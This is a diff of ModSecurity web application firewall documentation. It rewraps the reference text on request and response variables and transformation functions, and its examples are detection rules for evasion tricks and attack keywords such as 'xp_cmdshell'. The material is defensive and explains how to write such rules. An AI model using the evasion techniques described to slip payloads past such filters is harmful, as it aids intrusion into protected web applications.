all abnormalities at once. The individual - variables allow detection to be fine-tuned according to your - circumstances in order to reduce the number of false positives. Detailed - analysis of various evasion techniques covered will be released as a - separated document at a later date. + The multipart/form-data parser was upgraded in ModSecurity v2.1.3 to + actively look for signs of evasion. Many variables (as listed above) were added to expose + various facts discovered during the parsing process. The MULTIPART_STRICT_ERROR variable is handy to check on all abnormalities at once. + The individual variables allow detection to be fine-tuned according to your circumstances in + order to reduce the number of false positives. Detailed analysis of various evasion + techniques covered will be released as a separated document at a later date.
-
<literal>MULTIPART_UNMATCHED_BOUNDARY</literal> - - Set to 1 when, during the parsing phase of a - multipart/request-body, ModSecurity encounters what - feels like a boundary but it is not. Such an event may occur when - evasion of ModSecurity is attempted. - - The best way to use this variable is as in the example - below: - + Set to 1 when, during the parsing phase of a multipart/request-body, ModSecurity encounters what feels like a boundary but + it is not. Such an event may occur when evasion of ModSecurity is attempted. + The best way to use this variable is as in the example below: SecRule MULTIPART_UNMATCHED_BOUNDARY "!@eq 0" \ "phase:2,t:none,log,deny,msg:'Multipart parser detected a possible unmatched boundary.'" - - Change the rule from blocking to logging-only if many false - positives are encountered. + Change the rule from blocking to logging-only if many false positives are + encountered.
-
<literal moreinfo="none">PATH_INFO</literal> - - Besides passing query information to a script/handler, you can - also pass additional data, known as extra path information, as part of - the URL. Example: - + Besides passing query information to a script/handler, you can also pass additional + data, known as extra path information, as part of the URL. Example: SecRule PATH_INFO "^/(bin|etc|sbin|opt|usr)"
-
<literal moreinfo="none">QUERY_STRING</literal> - - This variable holds form data passed to the script/handler by - appending data after a question mark. Warning: Not URL-decoded. - Example: - + This variable holds form data passed to the script/handler by appending data after a + question mark. Warning: Not URL-decoded. Example: SecRule QUERY_STRING "attack"
-
<literal moreinfo="none">REMOTE_ADDR</literal> - - This variable holds the IP address of the remote client. - Example: - + This variable holds the IP address of the remote client. Example: SecRule REMOTE_ADDR "^192\.168\.1\.101$"
-
<literal moreinfo="none">REMOTE_HOST</literal> - - If HostnameLookUps are set to On, then this variable will hold the - DNS resolved remote host name. If it is set to Off, then it will hold - the remote IP address. Possible uses for this variable would be to deny - known bad client hosts or network blocks, or conversely, to allow in - authorized hosts. Example: - + If HostnameLookUps are set to On, then this variable will hold the DNS resolved remote + host name. If it is set to Off, then it will hold the remote IP address. Possible uses for + this variable would be to deny known bad client hosts or network blocks, or conversely, to + allow in authorized hosts. Example: SecRule REMOTE_HOST "\.evil\.network\org$"
-
<literal moreinfo="none">REMOTE_PORT</literal> - - This variable holds information on the source port that the client - used when initiating the connection to our web server. Example: in this - example, we are evaluating to see if the REMOTE_PORT - is less than 1024, which would indicate that the user is a privileged - user (root). - + This variable holds information on the source port that the client used when initiating + the connection to our web server. Example: in this example, we are evaluating to see if the + REMOTE_PORT is less than 1024, which would indicate that the user is a + privileged user (root). SecRule REMOTE_PORT "@lt 1024" phase:1,log,pass,setenv:remote_port=privileged
-
<literal moreinfo="none">REMOTE_USER</literal> - - This variable holds the username of the authenticated user. If - there are no password (basic|digest) access controls in place, then this - variable will be empty. Example: - + This variable holds the username of the authenticated user. If there are no password + (basic|digest) access controls in place, then this variable will be empty. Example: SecRule REMOTE_USER "admin" - Note - - This data will not be available in a proxy-mode deployment as the - authentication is not local. + This data will not be available in a proxy-mode deployment as the authentication is not + local.
-
<literal moreinfo="none">REQBODY_PROCESSOR</literal> - - Built-in processors are URLENCODED, - MULTIPART, and XML. - Example: - + Built-in processors are URLENCODED, MULTIPART, and XML. + Example: SecRule REQBODY_PROCESSOR "^XML$ chain SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
-
- <literal - moreinfo="none">REQBODY_PROCESSOR_ERROR</literal> - - Possible values are 0 (no error) or 1 (error). This variable will - be set by request body processors (typically the - multipart/request-data parser or the XML parser) - when they fail to properly parse a request payload. - + <literal moreinfo="none">REQBODY_PROCESSOR_ERROR</literal> + Possible values are 0 (no error) or 1 (error). This variable will be set by request body + processors (typically the multipart/request-data parser or the XML + parser) when they fail to properly parse a request payload. Example: - SecRule REQBODY_PROCESSOR_ERROR "@eq 1" deny,phase:2 - - Your policies must have a rule to check - REQBODY_PROCESSOR_ERROR at the beginning of phase 2. Failure to do so - will leave the door open for impedance mismatch attacks. It is - possible, for example, that a payload that cannot be parsed by - ModSecurity can be successfully parsed by more tolerant parser - operating in the application. If your policy dictates blocking then - you should reject the request if error is detected. When operating in - detection-only mode your rule should alert with high severity when - request body processing fails. + Your policies must have a rule to check REQBODY_PROCESSOR_ERROR + at the beginning of phase 2. Failure to do so will leave the door open for impedance + mismatch attacks. It is possible, for example, that a payload that cannot be parsed by + ModSecurity can be successfully parsed by more tolerant parser operating in the + application. If your policy dictates blocking then you should reject the request if error + is detected. When operating in detection-only mode your rule should alert with high + severity when request body processing fails.
-
- <literal - moreinfo="none">REQBODY_PROCESSOR_ERROR_MSG</literal> - - Empty, or contains the error message from the processor. - Example: - + <literal moreinfo="none">REQBODY_PROCESSOR_ERROR_MSG</literal> + Empty, or contains the error message from the processor. Example: SecRule REQBODY_PROCESSOR_ERROR_MSG "failed to parse" t:lowercase
-
<literal moreinfo="none">REQUEST_BASENAME</literal> - - This variable holds just the filename part of - REQUEST_FILENAME (e.g. index.php). - + This variable holds just the filename part of REQUEST_FILENAME (e.g. + index.php). Example: - SecRule REQUEST_BASENAME "^login\.php$" phase:2,t:none,t:lowercase - - Please note that anti-evasion transformations are not applied to - this variable by default. REQUEST_BASENAME will - recognise both / and \ as path - separators. + Please note that anti-evasion transformations are not applied to this variable by + default. REQUEST_BASENAME will recognise both / and + \ as path separators.
-
<literal moreinfo="none">REQUEST_BODY</literal> - - This variable holds the data in the request body (including - POST_PAYLOAD data). REQUEST_BODY - should be used if the original order of the arguments is important - (ARGS should be used in all other cases). - Example: - + This variable holds the data in the request body (including POST_PAYLOAD data). REQUEST_BODY should be used if the + original order of the arguments is important (ARGS should be used in all + other cases). Example: SecRule REQUEST_BODY "^username=\w{25,}\&password=\w{25,}\&Submit\=login$" - - This variable is only available if the - URLENCODED request body processor parsed a request - body. This will occur by default when an - application/x-www-form-urlencoded is detected, or - the URLENCODED request body parser is forced. As of - 2.5.7 it is possible to force the presence of the - REQUEST_BODY variable, but only when there is no - request body processor defined, using the - ctl:forceRequestBodyVariable option in the - REQUEST_HEADERS phase. + This variable is only available if the URLENCODED request body + processor parsed a request body. This will occur by default when an application/x-www-form-urlencoded is detected, or the URLENCODED request body parser is forced. As of 2.5.7 it is possible to force + the presence of the REQUEST_BODY variable, but only when there is no + request body processor defined, using the ctl:forceRequestBodyVariable + option in the REQUEST_HEADERS phase.
-
<literal moreinfo="none">REQUEST_COOKIES</literal> - - This variable is a collection of all of the cookie data. Example: - the following example is using the Ampersand special operator to count - how many variables are in the collection. In this rule, it would trigger - if the request does not include any Cookie headers. - + This variable is a collection of all of the cookie data. Example: the following example + is using the Ampersand special operator to count how many variables are in the collection. + In this rule, it would trigger if the request does not include any Cookie headers. SecRule &REQUEST_COOKIES "@eq 0"
-
<literal moreinfo="none">REQUEST_COOKIES_NAMES</literal> - - This variable is a collection of the cookie names in the request - headers. Example: the following rule will trigger if the JSESSIONID - cookie is not present. - + This variable is a collection of the cookie names in the request headers. Example: the + following rule will trigger if the JSESSIONID cookie is not present. SecRule &REQUEST_COOKIES_NAMES:JSESSIONID "@eq 0"
-
<literal moreinfo="none">REQUEST_FILENAME</literal> - - This variable holds the relative REQUEST_URI - minus the QUERY_STRING part (e.g. /index.php). - Example: - + This variable holds the relative REQUEST_URI minus the QUERY_STRING part (e.g. /index.php). Example: SecRule REQUEST_FILENAME "^/cgi-bin/login\.php$" phase:2,t:none,t:normalisePath - - Please note that anti-evasion transformations are not used on - REQUEST_FILENAME by default. + Please note that anti-evasion transformations are not used on REQUEST_FILENAME by default.
-
<literal moreinfo="none">REQUEST_HEADERS</literal> - - This variable can be used as either a collection of all of the - request headers or can be used to specify individual headers (by using - REQUEST_HEADERS:Header-Name). Example: the first - example uses REQUEST_HEADERS as a collection and is - applying the validateUrlEncoding operator against all - headers. - + This variable can be used as either a collection of all of the request headers or can be + used to specify individual headers (by using + REQUEST_HEADERS:Header-Name). Example: the first example uses + REQUEST_HEADERS as a collection and is applying the validateUrlEncoding operator against all headers. SecRule REQUEST_HEADERS "@validateUrlEncoding" - - Example: the second example is targeting only the - Host header. - + Example: the second example is targeting only the Host header. SecRule REQUEST_HEADERS:Host "^[\d\.]+$" \ "deny,log,status:400,msg:'Host header is a numeric IP address'"
-
<literal moreinfo="none">REQUEST_HEADERS_NAMES</literal> - - This variable is a collection of the names of all of the request - headers. Example: - + This variable is a collection of the names of all of the request headers. + Example: SecRule REQUEST_HEADERS_NAMES "^x-forwarded-for" \ "log,deny,status:403,t:lowercase,msg:'Proxy Server Used'"
-
<literal moreinfo="none">REQUEST_LINE</literal> - - This variable holds the complete request line sent to the server - (including the REQUEST_METHOD and HTTP version data). Example: this - example rule will trigger if the request method is something other than - GET, HEAD, POST or if the HTTP is something other than HTTP/0.9, 1.0 or - 1.1. - + This variable holds the complete request line sent to the server (including the + REQUEST_METHOD and HTTP version data). Example: this example rule will trigger if the + request method is something other than GET, HEAD, POST or if the HTTP is something other + than HTTP/0.9, 1.0 or 1.1. SecRule REQUEST_LINE "!(^((?:(?:pos|ge)t|head))|http/(0\.9|1\.0|1\.1)$)" t:none,t:lowercase
-
<literal moreinfo="none">REQUEST_METHOD</literal> - This variable holds the request method used by the client. - - The following example will trigger if the request method is either - CONNECT or TRACE. - + The following example will trigger if the request method is either CONNECT or TRACE. SecRule REQUEST_METHOD "^((?:connect|trace))$" t:none,t:lowercase
-
<literal moreinfo="none">REQUEST_PROTOCOL</literal> - - This variable holds the request protocol version information. - Example: - + This variable holds the request protocol version information. Example: SecRule REQUEST_PROTOCOL "!^http/(0\.9|1\.0|1\.1)$" t:none,t:lowercase
-
<literal moreinfo="none">REQUEST_URI</literal> - - This variable holds the full URL including the - QUERY_STRING data (e.g. /index.php?p=X), however it - will never contain a domain name, even if it was provided on the request - line. It also does not include either the - REQUEST_METHOD or the HTTP version info. - + This variable holds the full URL including the QUERY_STRING data + (e.g. /index.php?p=X), however it will never contain a domain name, even if it was provided + on the request line. It also does not include either the REQUEST_METHOD + or the HTTP version info. Example: - SecRule REQUEST_URI "attack" phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath - - Please note that anti-evasion transformations are not used on - REQUEST_URI by default. + Please note that anti-evasion transformations are not used on REQUEST_URI by default.
-
<literal moreinfo="none">REQUEST_URI_RAW</literal> - - Same as REQUEST_URI but will contain the domain - name if it was provided on the request line (e.g. - http://www.example.com/index.php?p=X). - + Same as REQUEST_URI but will contain the domain name if it was + provided on the request line (e.g. http://www.example.com/index.php?p=X). Example: - SecRule REQUEST_URI_RAW "http:/" phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath - - Please note that anti-evasion transformations are not used on - REQUEST_URI_RAW by default. + Please note that anti-evasion transformations are not used on REQUEST_URI_RAW by default.
-
<literal moreinfo="none">RESPONSE_BODY</literal> - This variable holds the data for the response payload. - Example: - SecRule RESPONSE_BODY "ODBC Error Code"
-
<literal>RESPONSE_CONTENT_LENGTH</literal> - - Response body length in bytes. Can be available starting with - phase 3 but it does not have to be (as the length of response body is - not always known in advance.) If the size is not known this variable - will contain a zero. If RESPONSE_CONTENT_LENGTH - contains a zero in phase 5 that means the actual size of the response - body was 0. - - The value of this variable can change between phases if the body - is modified. For example, in embedded mode - mod_deflate can compress the response body between - phases 4 and 5. + Response body length in bytes. Can be available starting with phase 3 but it does not + have to be (as the length of response body is not always known in advance.) If the size is + not known this variable will contain a zero. If RESPONSE_CONTENT_LENGTH + contains a zero in phase 5 that means the actual size of the response body was 0. + The value of this variable can change between phases if the body is modified. For + example, in embedded mode mod_deflate can compress the response body + between phases 4 and 5.
-
<literal>RESPONSE_CONTENT_TYPE</literal> - - Response content type. Only available starting with phase - 3. + Response content type. Only available starting with phase 3.
-
<literal moreinfo="none">RESPONSE_HEADERS</literal> - - This variable is similar to the REQUEST_HEADERS variable and can - be used in the same manner. Example: - + This variable is similar to the REQUEST_HEADERS variable and can be used in the same + manner. Example: SecRule RESPONSE_HEADERS:X-Cache "MISS" - Note - - This variable may not have access to some headers when running in - embedded-mode. Headers such as Server, Date, Connection and Content-Type - are added during a later Apache hook just prior to sending the data to - the client. This data should be available, however, either during - ModSecurity phase:5 (logging) or when running in proxy-mode. + This variable may not have access to some headers when running in embedded-mode. Headers + such as Server, Date, Connection and Content-Type are added during a later Apache hook just + prior to sending the data to the client. This data should be available, however, either + during ModSecurity phase:5 (logging) or when running in proxy-mode.
-
<literal moreinfo="none">RESPONSE_HEADERS_NAMES</literal> - - This variable is a collection of the response header names. - Example: - + This variable is a collection of the response header names. Example: SecRule RESPONSE_HEADERS_NAMES "Set-Cookie" - Note - - Same limitations as RESPONSE_HEADERS with regards to access to - some headers in embedded-mode. + Same limitations as RESPONSE_HEADERS with regards to access to some headers in + embedded-mode.
-
<literal moreinfo="none">RESPONSE_PROTOCOL</literal> - - This variable holds the HTTP response protocol information. - Example: - + This variable holds the HTTP response protocol information. Example: SecRule RESPONSE_PROTOCOL "^HTTP\/0\.9"
-
<literal moreinfo="none">RESPONSE_STATUS</literal> - - This variable holds the HTTP response status code as generated by - Apache. Example: - + This variable holds the HTTP response status code as generated by Apache. + Example: SecRule RESPONSE_STATUS "^[45]" - Note - - This directive may not work as expected in embedded-mode as Apache - handles many of the stock response codes (404, 401, etc...) earlier in - Phase 2. This variable should work as expected in a proxy-mode - deployment. + This directive may not work as expected in embedded-mode as Apache handles many of the + stock response codes (404, 401, etc...) earlier in Phase 2. This variable should work as + expected in a proxy-mode deployment.
-
<literal moreinfo="none">RULE</literal> - - This variable provides access to the id, rev, - severity, logdata, and msg fields of the rule that triggered the - action. Only available for expansion in action strings (e.g.setvar:tx.varname=%{rule.id}). Example: - + This variable provides access to the id, rev, severity, logdata, and msg fields of + the rule that triggered the action. Only available for expansion in action strings + (e.g.setvar:tx.varname=%{rule.id}). Example: SecRule &REQUEST_HEADERS:Host "@eq 0" "log,deny,setvar:tx.varname=%{rule.id}"
-
<literal moreinfo="none">SCRIPT_BASENAME</literal> - - This variable holds just the local filename part of - SCRIPT_FILENAME. Example: - + This variable holds just the local filename part of SCRIPT_FILENAME. Example: SecRule SCRIPT_BASENAME "^login\.php$" - Note - This variable is not available in proxy mode.
-
<literal moreinfo="none">SCRIPT_FILENAME</literal> - - This variable holds the full path on the server to the requested - script. (e.g. SCRIPT_NAME plus the server path). Example: - + This variable holds the full path on the server to the requested script. (e.g. + SCRIPT_NAME plus the server path). Example: SecRule SCRIPT_FILENAME "^/usr/local/apache/cgi-bin/login\.php$" - Note - This variable is not available in proxy mode.
-
<literal moreinfo="none">SCRIPT_GID</literal> - - This variable holds the group id (numerical value) of the group - owner of the script. Example: - + This variable holds the group id (numerical value) of the group owner of the script. + Example: SecRule SCRIPT_GID "!^46$" - Note - This variable is not available in proxy mode.
-
<literal moreinfo="none">SCRIPT_GROUPNAME</literal> - - This variable holds the group name of the group owner of the - script. Example: - + This variable holds the group name of the group owner of the script. Example: SecRule SCRIPT_GROUPNAME "!^apache$" - Note - This variable is not available in proxy mode.
-
<literal moreinfo="none">SCRIPT_MODE</literal> - - This variable holds the script's permissions mode data (numerical - - 1=execute, 2=write, 4=read and 7=read/write/execute). Example: will - trigger if the script has the WRITE permissions set. - + This variable holds the script's permissions mode data (numerical - 1=execute, 2=write, + 4=read and 7=read/write/execute). Example: will trigger if the script has the WRITE + permissions set. SecRule SCRIPT_MODE "^(2|3|6|7)$" - Note - This variable is not available in proxy mode.
-
<literal moreinfo="none">SCRIPT_UID</literal> - - This variable holds the user id (numerical value) of the owner of - the script. Example: the example rule below will trigger if the UID is - not 46 (the Apache user). - + This variable holds the user id (numerical value) of the owner of the script. Example: + the example rule below will trigger if the UID is not 46 (the Apache user). SecRule SCRIPT_UID "!^46$" - Note - This variable is not available in proxy mode.
-
<literal moreinfo="none">SCRIPT_USERNAME</literal> - - This variable holds the username of the owner of the script. - Example: - + This variable holds the username of the owner of the script. Example: SecRule SCRIPT_USERNAME "!^apache$" - Note - This variable is not available in proxy mode.
-
<literal moreinfo="none">SERVER_ADDR</literal> - - This variable contains the IP address of the server. - Example: - + This variable contains the IP address of the server. Example: SecRule SERVER_ADDR "^192\.168\.1\.100$"
-
<literal moreinfo="none">SERVER_NAME</literal> - - This variable contains the server's hostname or IP address. - Example: - + This variable contains the server's hostname or IP address. Example: SecRule SERVER_NAME "hostname\.com$" - Note - - This data is taken from the Host header submitted in the client - request. + This data is taken from the Host header submitted in the client request.
-
<literal moreinfo="none">SERVER_PORT</literal> - - This variable contains the local port that the web server is - listening on. Example: - + This variable contains the local port that the web server is listening on. + Example: SecRule SERVER_PORT "^80$"
-
<literal moreinfo="none">SESSION</literal> - - This variable is a collection, available only after setsid is executed. Example: the following - example shows how to initialize a SESSION collection with setsid, how to - use setvar to increase the session.score values, how to set the - session.blocked variable and finally how to deny the connection based on - the session:blocked value. - + This variable is a collection, available only after setsid is executed. Example: the following example shows how to initialize a + SESSION collection with setsid, how to use setvar to increase the session.score values, how + to set the session.blocked variable and finally how to deny the connection based on the + session:blocked value. SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} SecRule REQUEST_URI "^/cgi-bin/finger$" \ @@ -3571,174 +2353,115 @@ SecRule REQUEST_URI "^/cgi-bin/finger$" \ SecRule SESSION:SCORE "@gt 50" "pass,log,setvar:session.blocked=1" SecRule SESSION:BLOCKED "@eq 1" "log,deny,status:403"
-
<literal moreinfo="none">SESSIONID</literal> - - This variable is the value set with setsid. Example: - + This variable is the value set with setsid. + Example: SecRule SESSIONID !^$ chain,nolog,pass SecRule REQUEST_COOKIES:PHPSESSID !^$ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
-
<literal moreinfo="none">TIME</literal> - - This variable holds a formatted string representing the time - (hour:minute:second). Example: - + This variable holds a formatted string representing the time (hour:minute:second). + Example: SecRule TIME "^(([1](8|9))|([2](0|1|2|3))):\d{2}:\d{2}$"
-
<literal moreinfo="none">TIME_DAY</literal> - - This variable holds the current date (1-31). Example: this rule - would trigger anytime between the 10th and 20th days of the - month. - + This variable holds the current date (1-31). Example: this rule would trigger anytime + between the 10th and 20th days of the month. SecRule TIME_DAY "^(([1](0|1|2|3|4|5|6|7|8|9))|20)$"
-
<literal moreinfo="none">TIME_EPOCH</literal> - - This variable holds the time in seconds since 1970. - Example: - + This variable holds the time in seconds since 1970. Example: SecRule TIME_EPOCH "@gt 1000"
-
<literal moreinfo="none">TIME_HOUR</literal> - - This variable holds the current hour (0-23). Example: this rule - would trigger during "off hours". - + This variable holds the current hour (0-23). Example: this rule would trigger during + "off hours". SecRule TIME_HOUR "^(0|1|2|3|4|5|6|[1](8|9)|[2](0|1|2|3))$"
-
<literal moreinfo="none">TIME_MIN</literal> - - This variable holds the current minute (0-59). Example: this rule - would trigger during the last half hour of every hour. - + This variable holds the current minute (0-59). Example: this rule would trigger during + the last half hour of every hour. SecRule TIME_MIN "^(3|4|5)"
-
<literal moreinfo="none">TIME_MON</literal> - - This variable holds the current month (0-11). Example: this rule - would match if the month was either November (10) or December - (11). - + This variable holds the current month (0-11). Example: this rule would match if the + month was either November (10) or December (11). SecRule TIME_MON "^1"
-
<literal moreinfo="none">TIME_SEC</literal> - - This variable holds the current second count (0-59). - Example: - + This variable holds the current second count (0-59). Example: SecRule TIME_SEC "@gt 30"
-
<literal moreinfo="none">TIME_WDAY</literal> - - This variable holds the current weekday (0-6). Example: this rule - would trigger only on week-ends (Saturday and Sunday). - + This variable holds the current weekday (0-6). Example: this rule would trigger only on + week-ends (Saturday and Sunday). SecRule TIME_WDAY "^(0|6)$"
-
<literal moreinfo="none">TIME_YEAR</literal> - - This variable holds the current four-digit year data. - Example: - + This variable holds the current four-digit year data. Example: SecRule TIME_YEAR "^2006$"
-
<literal moreinfo="none">TX</literal> - - Transaction Collection. This is used to store pieces of data, - create a transaction anomaly score, and so on. Transaction variables are - set for 1 request/response cycle. The scoring and evaluation will not - last past the current request/response process. Example: In this - example, we are using setvar to increase the tx.score value by 5 points. - We then have a follow-up run that will evaluate the transactional score - this request and then it will decided whether or not to allow/deny the - request through. - - The following is a list of reserved names in the TX - collection: - + Transaction Collection. This is used to store pieces of data, create a transaction + anomaly score, and so on. Transaction variables are set for 1 request/response cycle. The + scoring and evaluation will not last past the current request/response process. Example: In + this example, we are using setvar to increase the tx.score value by 5 points. We then have a + follow-up run that will evaluate the transactional score this request and then it will + decided whether or not to allow/deny the request through. + The following is a list of reserved names in the TX collection: - TX:0 - The matching value - when using the @rx or @pm operator with the capture action. + TX:0 - The matching value when using the @rx or @pm operator with + the capture action. - - TX:1-TX:9 - The captured - subexpression value when using the @rx operator with capturing parens and the - capture action. + TX:1-TX:9 - The captured subexpression value when + using the @rx operator with capturing parens and the + capture action. - SecRule WEBSERVER_ERROR_LOG "does not exist" "phase:5,pass,setvar:tx.score=+5" SecRule TX:SCORE "@gt 20" deny,log
-
<literal moreinfo="none">USERID</literal> - - This variable is the value set with setuid. Example: - + This variable is the value set with setuid. + Example: SecAction setuid:%{REMOTE_USER},nolog SecRule USERID "Admin"
-
<literal moreinfo="none">WEBAPPID</literal> - - This variable is the value set with SecWebAppId. Example: - + This variable is the value set with SecWebAppId. + Example: SecWebAppId "WebApp1" SecRule WEBAPPID "WebApp1" "chain,log,deny,status:403" SecRule REQUEST_HEADERS:Transfer-Encoding "!^$"
-
<literal moreinfo="none">WEBSERVER_ERROR_LOG</literal> - - Contains zero or more error messages produced by the web server. - Access to this variable is in phase:5 (logging). Example: - + Contains zero or more error messages produced by the web server. Access to this variable + is in phase:5 (logging). Example: SecRule WEBSERVER_ERROR_LOG "File does not exist" "phase:5,setvar:tx.score=+5"
-
<literal moreinfo="none">XML</literal> - - Can be used standalone (as a target for - validateDTD and validateSchema) or - with an XPath expression parameter (which makes it a valid target for - any function that accepts plain text). Example using XPath: - + Can be used standalone (as a target for validateDTD and validateSchema) or with an XPath expression parameter (which makes it a valid + target for any function that accepts plain text). Example using XPath: SecDefaultAction log,deny,status:403,phase:2 SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML @@ -3746,10 +2469,8 @@ SecRule REQBODY_PROCESSOR "!^XML$" skipAfter:12345 SecRule XML:/employees/employee/name/text() Fred SecRule XML:/xq:employees/employee/name/text() Fred \ id:12345,xmlns:xq=http://www.example.com/employees - - The first XPath expression does not use namespaces. It would match - against payload such as this one: - + The first XPath expression does not use namespaces. It would match against payload such + as this one: <employees> <employee> <name>Fred Jones</name> @@ -3770,10 +2491,8 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ <phone location="mobile">(206)555-4321</phone> </employee> </employees> - - The second XPath expression does use namespaces. It would match - the following payload: - + The second XPath expression does use namespaces. It would match the following + payload: <xq:employees xmlns:xq="http://www.example.com/employees"> <employee> <name>Fred Jones</name> @@ -3794,525 +2513,361 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ <phone location="mobile">(206)555-4321</phone> </employee> </xq:employees> - Note the different namespace used in the second example. - - To learn more about XPath we suggest the following - resources: - + To learn more about XPath we suggest the following resources: - XPath - Standard + XPath Standard - - XPath - Tutorial + XPath + Tutorial
-
Transformation functions - - When ModSecurity receives request or response information, it makes - a copy of this data and places it into memory. It is on this data in - memory that transformation functions are applied. The raw request/response - data is never altered. Transformation functions are used to transform a - variable before testing it in a rule. - + When ModSecurity receives request or response information, it makes a copy of this data + and places it into memory. It is on this data in memory that transformation functions are + applied. The raw request/response data is never altered. Transformation functions are used to + transform a variable before testing it in a rule. Note - - There are no default transformation functions as there were in - previous versions of ModSecurity. - - The following rule will ensure that an attacker does not use mixed - case in order to evade the ModSecurity rule: - + There are no default transformation functions as there were in previous versions of + ModSecurity. + The following rule will ensure that an attacker does not use mixed case in order to evade + the ModSecurity rule: SecRule ARG:p "xp_cmdshell" "t:lowercase" - multiple transformation actions can be used in the same rule, for example - the following rule also ensures that an attacker does not use URL encoding - (%xx encoding) for evasion. Note the order of the transformation - functions, which ensures that a URL encoded letter is first decoded and - than translated to lower case. - - SecRule ARG:p "xp_cmdshell" "t:urlDecode,t:lowercase" - - One can use the SecDefaultAction command to ensure the translation - occurs for every rule until the next. Note that transformation actions are - additive, so if a rule explicitly list actions, the translation actions - set by SecDefaultAction are still performed. - - SecDefaultAction t:urlDecode,t:lowercase - + multiple transformation actions can be used in the same rule, for example the following rule + also ensures that an attacker does not use URL encoding (%xx encoding) for evasion. Note the + order of the transformation functions, which ensures that a URL encoded letter is first + decoded and than translated to lower case. + + SecRule ARG:p "xp_cmdshell" "t:urlDecode,t:lowercase" + + One can use the SecDefaultAction command to ensure the translation occurs for every rule + until the next. Note that transformation actions are additive, so if a rule explicitly list + actions, the translation actions set by SecDefaultAction are still performed. + + SecDefaultAction t:urlDecode,t:lowercase + The following transformation functions are supported: -
<literal>base64Decode</literal> - This function decodes a base64-encoded string.
-
<literal>base64Encode</literal> - This function encodes input string using base64 encoding.
-
<literal>compressWhitespace</literal> - - It converts whitespace characters (32, \f, \t, \n, \r, \v, 160) to - spaces (ASCII 32) and then compresses multiple consecutive space - characters into one. + It converts whitespace characters (32, \f, \t, \n, \r, \v, 160) to spaces (ASCII 32) and + then compresses multiple consecutive space characters into one.
-
cssDecode - Decodes CSS-encoded characters, as specified at http://www.w3.org/TR/REC-CSS2/syndata.html. - This function uses only up to two bytes in the decoding process, meaning - it is useful to uncover ASCII characters (that wouldn't normally be - encoded) encoded using CSS encoding, or to counter evasion which is a - combination of a backslash and non-hexadecimal characters (e.g. - ja\vascript is equivalent to - javascript). + url="http://www.w3.org/TR/REC-CSS2/syndata.html" + >http://www.w3.org/TR/REC-CSS2/syndata.html. This function uses only up to two + bytes in the decoding process, meaning it is useful to uncover ASCII characters (that + wouldn't normally be encoded) encoded using CSS encoding, or to counter evasion which is a + combination of a backslash and non-hexadecimal characters (e.g. ja\vascript is equivalent to javascript).
-
<literal>escapeSeqDecode</literal> - - This function decode ANSI C escape sequences: \a, \b, - \f, \n, \r, - \t, \v, \\, - \?, \', \", - \xHH (hexadecimal), \0OOO (octal). Invalid encodings are left in - the output. + This function decode ANSI C escape sequences: + \a, \b, \f, \n, \r, + \t, \v, \\, \?, \', \", \xHH (hexadecimal), \0OOO + (octal). Invalid encodings are left in the output.
-
<literal>hexDecode</literal> - This function decodes a hex-encoded string.
-
<literal>hexEncode</literal> - This function encodes input as hex-encoded string.
-
<literal>htmlEntityDecode</literal> - - This function decodes HTML entities present in input. The - following variants are supported: - + This function decodes HTML entities present in input. The following variants are + supported: - &#xHH and &#xHH; (where H is any hexadecimal - number) + &#xHH and &#xHH; (where H is any hexadecimal number) - - &#DDD and &#DDD; (where D is any decimal - number) + &#DDD and &#DDD; (where D is any decimal number) - - &quot and &quot; + &quot and &quot; - - &nbsp and &nbsp; + &nbsp and &nbsp; - - &lt and &lt; + &lt and &lt; - - &gt and &gt; + &gt and &gt; - - This function will convert any entity into a single byte only, - possibly resulting in a loss of information. It is thus useful to - uncover bytes that would otherwise not need to be encoded, but it cannot - do anything with the characters from the range above 255. + This function will convert any entity into a single byte only, possibly resulting in a + loss of information. It is thus useful to uncover bytes that would otherwise not need to be + encoded, but it cannot do anything with the characters from the range above 255.
-
<literal>jsDecode</literal> - - Decodes JavaScript escape sequences. If a - \uHHHH code is in the range of - FF01-FF5E (the full width ASCII - codes), then the higher byte is used to detect and adjust the lower - byte. Otherwise, only the lower byte will be used and the higher byte - zeroed. + Decodes JavaScript escape sequences. If a \uHHHH code is in the range + of FF01-FF5E (the full width ASCII codes), then the + higher byte is used to detect and adjust the lower byte. Otherwise, only the lower byte will + be used and the higher byte zeroed.
-
<literal>length</literal> - - This function converts the input to its numeric length (count of - bytes). + This function converts the input to its numeric length (count of bytes).
-
<literal>lowercase</literal> - - This function converts all characters to lowercase using the - current C locale. + This function converts all characters to lowercase using the current C locale.
-
<literal>md5</literal> - - This function calculates an MD5 hash from input. Note that the - computed hash is in a raw binary form and may need encoded into text to - be usable (for example: t:md5,t:hexEncode). + This function calculates an MD5 hash from input. Note that the computed hash is in a raw + binary form and may need encoded into text to be usable (for example: t:md5,t:hexEncode).
-
<literal><literal>none</literal></literal> - - Not an actual transformation function, but an instruction to - ModSecurity to remove all transformation functions associated with the - current rule. + Not an actual transformation function, but an instruction to ModSecurity to remove all + transformation functions associated with the current rule.
-
<literal>normalisePath</literal> - - This function will remove multiple slashes, self-references and - directory back-references (except when they are at the beginning of the - input). + This function will remove multiple slashes, self-references and directory + back-references (except when they are at the beginning of the input).
-
<literal>normalisePathWin</literal> - - Same as normalisePath, but will first convert - backslash characters to forward slashes. + Same as normalisePath, but will first convert backslash characters to + forward slashes.
-
<literal>parityEven7bit</literal> - - This function calculates even parity of 7-bit data replacing the - 8th bit of each target byte with the calculated parity bit. + This function calculates even parity of 7-bit data replacing the 8th bit of each target + byte with the calculated parity bit.
-
<literal>parityOdd7bit</literal> - - This function calculates odd parity of 7-bit data replacing the - 8th bit of each target byte with the calculated parity bit. + This function calculates odd parity of 7-bit data replacing the 8th bit of each target + byte with the calculated parity bit.
-
<literal>parityZero7bit</literal> - - This function calculates zero parity of 7-bit data replacing the - 8th bit of each target byte with a zero parity bit which allows - inspection of even/odd parity 7bit data as ASCII7 data. + This function calculates zero parity of 7-bit data replacing the 8th bit of each target + byte with a zero parity bit which allows inspection of even/odd parity 7bit data as ASCII7 + data.
-
